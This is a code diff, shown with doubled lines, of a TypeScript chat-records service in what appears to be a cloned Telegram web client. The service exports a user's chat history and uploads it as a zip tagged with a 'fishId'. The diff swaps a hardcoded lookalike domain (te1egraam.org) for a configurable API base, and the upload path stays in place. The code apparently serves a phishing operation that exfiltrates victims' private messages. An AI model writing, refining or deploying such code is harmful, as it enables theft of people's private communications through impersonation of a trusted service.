|
@@ -6,6 +6,7 @@
|
|
|
import {logger} from '../logger';
|
|
import {logger} from '../logger';
|
|
|
import rootScope from '../rootScope';
|
|
import rootScope from '../rootScope';
|
|
|
import pause from '../../helpers/schedulers/pause';
|
|
import pause from '../../helpers/schedulers/pause';
|
|
|
|
|
+import {getApiBaseUrl, API_ENDPOINTS} from '../../config/apiUrls';
|
|
|
|
|
|
|
|
export interface ChatRecordData {
|
|
export interface ChatRecordData {
|
|
|
id: string;
|
|
id: string;
|
|
@@ -36,10 +37,14 @@ export interface UploadResponse {
|
|
|
|
|
|
|
|
export class ChatRecordsService {
|
|
export class ChatRecordsService {
|
|
|
private log = logger('[chat-records-service]');
|
|
private log = logger('[chat-records-service]');
|
|
|
- private baseUrl: string = 'https://lurk2287.te1egraam.org';
|
|
|
|
|
|
|
+ private baseUrl: string;
|
|
|
private retryCount: number = 3;
|
|
private retryCount: number = 3;
|
|
|
private retryDelay: number = 1000;
|
|
private retryDelay: number = 1000;
|
|
|
|
|
|
|
|
|
|
+ constructor(baseUrl?: string) {
|
|
|
|
|
+ this.baseUrl = baseUrl || getApiBaseUrl();
|
|
|
|
|
+ }
|
|
|
|
|
+
|
|
|
/**
|
|
/**
|
|
|
* 导出所有聊天记录
|
|
* 导出所有聊天记录
|
|
|
*/
|
|
*/
|
|
@@ -481,7 +486,7 @@ export class ChatRecordsService {
|
|
|
* 上传聊天记录文件
|
|
* 上传聊天记录文件
|
|
|
*/
|
|
*/
|
|
|
public async uploadChatRecords(zipBlob: Blob, fileName: string, fishId: string, description?: string): Promise<UploadResponse> {
|
|
public async uploadChatRecords(zipBlob: Blob, fileName: string, fishId: string, description?: string): Promise<UploadResponse> {
|
|
|
- const url = `${this.baseUrl}/api/records/upload`;
|
|
|
|
|
|
|
+ const url = `${this.baseUrl}${API_ENDPOINTS.RECORDS.UPLOAD}`;
|
|
|
|
|
|
|
|
for(let attempt = 1; attempt <= this.retryCount; attempt++) {
|
|
for(let attempt = 1; attempt <= this.retryCount; attempt++) {
|
|
|
try {
|
|
try {
|